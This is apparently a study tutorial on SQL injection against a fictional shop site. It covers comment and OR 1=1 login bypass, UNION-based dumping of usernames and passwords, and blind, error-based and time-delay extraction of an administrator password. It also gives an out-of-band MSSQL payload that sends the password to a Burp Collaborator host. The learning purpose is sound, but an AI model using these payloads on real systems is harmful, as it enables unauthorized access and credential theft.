SQL Injection occurs in the applications where the backend uses a SQL based database like: PostgreSQL, MySQL, Oracle, Microsoft.
The basic detection of the SQL injection occurs through the comments. Which make the rest of the query commented. Which shows us all the data which needs to be stayed hidden also.
The basic and most seen payloads are always the Boolean conditions like 1=1 or 1=2. Which will make the payload work. But there are many other types of SQL Injection Techniques.
The ones Which I will cover in this section are: -> Error Based SQL Injection -> Union Based SQL Injection -> OAST(Out of Band) -> Blind SQL Injection -> Time Based SQL Injection -> Second-order SQL Injection
SQL Injection can occur in different places like in the login forms, Filtering option, Cookies, etc., It basically covers where there might be a post interacting or a get query interaction from the user.
The common places where the injection occurs include the INSERT, UPDATE, SELECT, WHERE. This is where we can observe the SQL injection commonly.
And the Syntax of SQL for different databases like Postgres, MySQL, Microsoft is different. So this makes it harder to build the payloads. We need to first recon and find what is the database used. We will further see about those in the below sections.
So for covering the examples we will take a website: shopflakes.com (Which doesn't exist).
Lets say the user filters for the product like bat: https://shopflakes.com/product?=bat
The query does this for the data retrieval in the backend as follows.
SELECT * FROM products WHERE category = 'bat';
So we can use the comment feature and make it display everything like
SELECT * FROM products WHERE category = 'bat'-- and Released=1
Which will make the rest of the content as commented. So It will list all the content which is not supposed to be listed too.
There is a similar kind of payload which can be used which is:
SELECT * FROM products WHERE category = 'bat' OR 1=1 --'
And also we can use the same for the login page. So if we enter the username and password. And capture the request using burp suite we observe the SQL Query which is used for the retrieval of the user.
SELECT * FROM users WHERE username = 'Axl' and password = 'Stro4gPass'
So this is how the query goes for the particular user. Generally we know all the administrative users have the username as "administrator" we can try that by using the same logic.
SELECT * FROM users WHERE username = 'adminstrator'-- AND password = ''
I think using this we can bypass the logic of logging in as an admin.
UNION ATTACK IN SQL
In SQL injection union command is used for concatenating more than one query. The UNION command only works when the both commands return same number of columns.
So, The main challenge is gonna be knowing the number of columns in the particular table in the database. And also the data types need to be compatible. So that we can perform the UNION attack.
The sample UNION attack looks as:
SELECT c,d FROM S1 UNION SELECT a,b FROM S2;
To determine the number of columns we can use the following union command.
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
So we can concatenate this with the original query to find out number of columns in the main table. So the query for which it returns no errors, the number of null values in that particular command says the number of columns.
And different databases return different errors. You should always keep in mind about the databases versions too.
And different database queries must use different formats. Like the Oracle needs a FROM command for SELECT query. So we can use SELECT * FROM DUAL; In the union format.
So we can also find the compatible data type using the particular character value:
' UNION SELECT NULL,'a',NULL--
And if we get an error we can switch and use different types of data types to know the exact column with the correct data type.
So the whole point of this UNION type of attack is to retrieve the hidden data like the usernames and passwords and other stuff.
So there are various ways of an SQL attack. If one is blocked or filtered the other one works.
Example:
' UNION SELECT username, password FROM users WHERE username='administrator'--
There may be few cases where the output might be returned in a single column. So its always good to use concatenation and return it in a single column. Using the pipe('||').
' UNION SELECT username || '~' || password FROM users --
We can also use the metadata information to recon the data from the database.
BLIND SQL
Blind SQL techniques are used when an application is vulnerable to SQL injection but doesn't show any response in the application http response. There can be very minor changes like welcome back when logging in as the correct user, by using the cookie tracking id.
Not only in the place of login query we can use the SQL injection. But it is also possible in the place of tracking id where the tracking id is retrieved from the data base.
We can use boolean based conditions to exploit the vulnerability.
' AND '1'='1 which represents always true. 'AND '1'='2 which represents always false. So these are used to check the response. The response might be changed slightly. Like the welcome back message being shown after the correct user being logged in.
We can use the following SQL payload in a modified way to retrieve the username and password.
'AND SUBSTR((SELECT password FROM users WHERE username = 'administrator'),1,1)= 'j'
We can Bruteforce the password using the burp suite using different characters and comparing each character. But to reach that query first we need to know if that table is available or not at first and then know the username of the particular user and then know the length of password and then continue to know the password.
ERROR BASED SQL INJECTION
Many applications doesn't return any response. Instead return error. So we can craft the queries in such way that raises a query and which indicates that our query is executed.
The basic ERROR based SQL injection looks like:
' AND (SELECT CASE WHEN '1'='1' THEN 1/0 ELSE 'a') = 'a'
This causes error so we can observe that the error based SQL is possible.
So the query can be crafted for finding the password can be as follows:
' AND (SELECT CASE WHEN (username = 'administrator' AND SUBSTR(password,1,1)='a') THEN 1/0 ELSE 'a' ) = 'a'
The above query can be used to guess password.
We can also convert one data type to another by using the CAST( ) function. Through that also we can raise errors.
CAST((SELECT user_id FROM users) as int)
TIME BASED ATTACK
So what if the application handles the errors in the backend and doesn't even show us any errors. So in that case the above attack doesn't work. So in this case we can use the time delay attacks. Which on successful will show the delay in the response.
The basic query looks like:
'; IF (1=1) WAITFOR DELAY '0:0:10'--
The above query on executing if we observe there is a delay in the response. Then we can say that this attack was successful. The more sophisticated query looks like:
'; IF (SELECT COUNT(username) FROM users WHERE username = 'administrator' AND SUBSTR(password,1,1)='m') WAITFOR DELAY '0:0:10'--
The above query can be used in the brute force mode by modifying the resource pool in the burp and make the attack. But the time delay based attack are not reliable as the time varies in the response from the server and not reliable.
OAST Out of the Band
There is a scenario where the above attack fails that is when the requests are processed asynchronously then the time based attacks are not possible.
So some times data bases use the server for certain tasks like for the file uploads. So it commonly supports the DNS based queries. So we can make the database to query the to our server for a particular sub domain so that is logged in our server. Even though to make the connection it requires the authentication but that's not important for us now cause it will be already logged in our server. The secret data will be already logged in our server.
This is the most widely used attack in the real time.
`'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--`
This appends the password to our domain and then returns.
S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
Source : https://portswigger.net/web-security/learning-paths/sql-injection/sql-injection-exploiting-blind-sql-injection-using-out-of-band-oast-techniques/sql-injection/blind/exploiting-blind-sql-injection-using-out-of-band-oast-techniques-4y2k
Some websites also allow for the the queries in the XML or JSON entries. So we can also use the queries in those and retrieve the data. Some WAF may block the query . So we can use the encoded format of those to make the injection work.
SECOND ORDER SQL INJECTION
Second order sql injection when the attacker places the query when he is signing up. Which causes the query to execute when the query is further processed. And make him gain the administrative privilege.
source: https://portswigger.net/web-security/learning-paths/sql-injection/sql-injection-second-order-sql-injection/sql-injection/second-order-sql-injection
We can avoid the sql injection using the parametrized statements.
refernce: https://portswigger.net/web-security/learning-paths/sql-injection
cheat-sheet: https://portswigger.net/web-security/sql-injection/cheat-sheet